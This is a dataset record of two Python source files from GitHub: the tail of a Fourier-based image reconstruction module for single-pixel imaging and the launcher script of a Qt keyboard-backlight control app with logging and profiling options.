np.reshape(fourier_spectrum, (int(N/M), int(N/M)))\n\n\telif mode is \"highpass\":\n\t\t####################################################################\n\t\t# Temporary local parameters for highpass compressive sensing TODO!#\n\t\t####################################################################\n\t\tm_x = 4\n\t\tm_y = 4\n\t\n\t\t# DO ZMIANY -> uwzględnienie przerw 0-wych między zmierzonymi częstościami\n\t\tfourier_spectrum_zeros = np.dstack((fourier_spectrum,np.zeros_like(fourier_spectrum))).reshape(fourier_spectrum.shape[0],-1)\n\t\tfourier_spectrum_2D = np.reshape(fourier_spectrum_zeros, (int(N-m_x), int(N-m_y)))\n\t\t#fourier_spectrum_2D_padded = np.zeros((N,N),dtype=complex)\n\t\t#fourier_spectrum_2D_padded[m_x:fourier_spectrum_2D.shape[0], m_y:fourier_spectrum_2D.shape[1]] = fourier_spectrum_2D\n\n\t#if mode is \"lowpass\" or mode is \"real\":\n\t#\treconstructed_image = fft.ifft2(fourier_spectrum_2D_padded)\n\t#\t\n\t#else:\n\t#\treconstructed_image = fft.ifft2(fourier_spectrum_2D)\n\t\n\t# reconstruct both the padded and unpadded spectrum using inverse FFT2D\n\t# added ifftshift as a solution to checkerboard-patterned positive and negative values in reconstructed image\n\t# thanks to https://stackoverflow.com/questions/10225765/checkerboard-pattern-after-fft\n\treconstructed_image = fft.ifft2(fft.ifftshift(fourier_spectrum_2D_padded))\n\treconstructed_image_unpadded = fft.ifft2(fft.ifftshift(fourier_spectrum_2D))\n\t\n\tend = time.time()\n\tprint(\"\\nReconstruction time: \" + str(float(end-start)) + \"s\\n\")\n\t\n\t# save reconstructions of the padded and unpadded spectrum:\n\taux.save_image_complex(np.real(reconstructed_image_unpadded), \"./GALLERY/image_unpadded_real\", \"\")\n\taux.save_image_complex(np.real(reconstructed_image), \"./GALLERY/image_padded_real\", \"\")\n\t\n\t# DEBUG\n\t# phase\n\t#aux.save_image_complex(np.angle(reconstructed_image_unpadded), \"./GALLERY/image_unpadded_phase\", \"\")\n\t#aux.save_image_complex(np.angle(reconstructed_image), \"./GALLERY/image_padded_phase\", \"\")\n\t\n\t# DEBUG\n\t# zero all negative values\n\t#aux.save_image_complex(np.real(reconstructed_image_unpadded.clip(min=0)), \"./GALLERY/image_unpadded_clip\", \"\")\n\t#aux.save_image_complex(np.real(reconstructed_image.clip(min=0)), \"./GALLERY/image_padded_clip\", \"\")\n\n\treturn (reconstructed_image, reconstructed_image_unpadded, fourier_spectrum_2D, fourier_spectrum_2D_padded)","repo_name":"f-labaj/SPI-S-portable","sub_path":"fourier_module.py","file_name":"fourier_module.py","file_ext":"py","file_size_in_byte":16184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36959280373","text":"import sys\nimport os\n# import signal\n# from time import sleep\n\n#### append local library\nscript_dir = os.path.dirname(__file__)\nsys.path.append(os.path.abspath( os.path.join(script_dir, \"..\") ))\n\nimport time\nimport argparse\nimport logging\nimport cProfile\n\nimport clevokeyboardcontrol.logger as logger\n\nfrom clevokeyboardcontrol.clevoio import TuxedoDriver\n\nfrom clevokeyboardcontrol.gui.main_window import MainWindow\nfrom clevokeyboardcontrol.gui.qt import QApplication\nfrom clevokeyboardcontrol.gui.sigint import setup_interrupt_handling\n\n\nlogger.configure()\n_LOGGER = logging.getLogger(__name__)\n\n\ndef runApp(args):\n\n ## GUI\n app = QApplication(sys.argv)\n app.setApplicationName(\"ClevoKeyboardControl\")\n app.setOrganizationName(\"arnet\")\n ### app.setOrganizationDomain(\"www.my-org.com\")\n\n driver = TuxedoDriver()\n\n window = MainWindow( driver )\n\n window.loadSettings()\n\n if args.minimized is False:\n window.show()\n\n setup_interrupt_handling()\n\n exitCode = app.exec_()\n\n if exitCode == 0:\n window.saveSettings()\n\n return exitCode\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Clevo Keyboard Control')\n parser.add_argument('--minimized', action='store_const', const=True, default=False, help='Start minimized' )\n parser.add_argument('--profile', action='store_const', const=True, default=False, help='Profile the code' )\n parser.add_argument('--pfile', action='store', default=None, help='Profile the code and output data to file' )\n\n args = parser.parse_args()\n\n _LOGGER.debug(\"\\n\\n\")\n _LOGGER.debug(\"Starting the application\")\n _LOGGER.debug(\"Logger log file: %s\" % logger.log_file)\n\n starttime = time.time()\n profiler = None\n\n exitCode = 0\n\n try:\n\n profiler_outfile = args.pfile\n if args.profile is True or profiler_outfile is not None:\n print( \"Starting profiler\" )\n profiler = cProfile.Profile()\n profiler.enable()\n\n exitCode = runApp(args)\n\n except BaseException:\n exitCode = 1\n _LOGGER.exception(\"Exception occured\")\n raise\n\n finally:\n _LOGGER.info( \"\" ) ## print new line\n if profiler is not None:\n profiler.disable()\n if profiler_outfile is None:\n _LOGGER.info( \"Generating profiler data\" )\n profiler.print_stats(1)\n else:\n _LOGGER.info( \"Storing profiler data to\", profiler_outfile )\n profiler.dump_stats( profiler_outfile )\n _LOGGER.info( \"pyprof2calltree -k -i\", profiler_outfile )\n\n timeDiff = (time.time() - starttime) * 1000.0\n _LOGGER.info( \"Execution time: {:13.8f}ms\".format(timeDiff) )\n\n sys.exit(exitCode)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"anetczuk/ClevoKeyboardControl","sub_path":"src/clevokeyboardcontrol/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2812,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"}